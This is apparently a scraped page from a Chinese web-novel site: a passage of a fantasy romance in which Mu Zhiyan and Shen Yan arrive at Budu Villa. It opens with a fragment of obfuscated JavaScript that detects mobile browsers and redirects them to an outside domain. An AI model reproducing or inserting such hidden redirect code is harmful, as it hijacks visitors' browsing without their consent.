l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414533|184692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西,当然好看了。” 她总是那么爱笑。 虽然有了些许法力,刚才摸水时她可并未运用,鱼都是自己游过来的。这会儿,她红丝做得的“桃花”还被称赞了,慕枝砚满意极了。 早就说了,她不是那安静性格的。 慕枝砚藏不住笑,珠玉一直响。船缓缓到了对岸,还能听见她头上那声音。 ** 刚下船,对岸上便能见旌旗,上方写“不渡山庄”四个大字。 很好,不需要再多寻找了。 慕枝砚走在后方,她走的慢,沿途观察风景。 不渡山庄所在山上,因此一路各处都有庄中弟子指示。此路鸟鸣阵阵,凉风习习,草木见尤可见人间灵气。 很快到了山庄门前。两位白衣弟子站在门两侧,见有访客,几步上前行礼道:“两位可是来山庄的?” 沈厌在前,先答道:”正是。我二位有要事想询问庄主,不知庄主可有空?” 那弟子却是面露难色,对视一眼,随即道:“这不巧,庄主外出游历,不过最多七日也会回来了。若是两位不急,可以先在山庄住上几日。” 这是常事,来的路上也同慕枝砚提起过。他回头看见慕枝砚点点头,和弟子交流确认下来,便随着弟子进入不渡山庄。 “不知二位如何称呼?” “我姓慕。” 慕枝砚并没有打算遮掩,告知了姓氏。那两位弟子再次对视,而后道:“见过慕姑娘。那您这位随从是?” “嗯?” 流苏微动,慕枝砚转头。那侧是沈厌,拎着包袱行囊,手上还带着一串稀奇古怪的面具,她那红纹狐狸的,在最上方。 沈厌浅色长衫,看上去极为简约。再看下自己的衣衫首饰,慕枝砚忽地笑了,说:“他姓沈。” “啊,沈公子。两位这边请。” …… 那两位弟子还是很会行事的,安排了一处房屋。慕枝砚迈进屋子,先发制人道:“这不怪我,既然已经认了,你就先假扮一下。” 她以为沈厌会反驳,还做想很长一串对付他的话,不料沈厌只是看她,说:“嗯。” 慕枝砚坐下来,将疑惑问出:“我们就这样等着么?我怕你眼睛会耽搁。你说医馆告知你这处山庄,我怎么从未听说过。” “无妨。”沈厌道,“我虽说是从医馆得知,却只是行走间听闻,有一处地方,想问什么都能得到答案。” 他回想,那是从医馆出来,冥冥之中听见的一句,说有个地方叫不渡山庄,能解答你的一切疑虑。 那声音极其细微,像是听错一般。沈厌以为是有人擦肩而过言语,他在长街上回头,发现身边除了慕枝砚,没有其他人。这似乎,是他心里有个声音,所告知的。 可他从前也并无有关不渡山庄的回忆。沈厌想,或许和自己错乱的记忆有关。他问周边人,没有人知道如何行走,却忽然一日,他在梦里见到那处山庄。 于是,他拿了地图来看。地图上亦没有山庄显示,他怕最后只是一场空,所以他才对慕枝砚说,我去即可。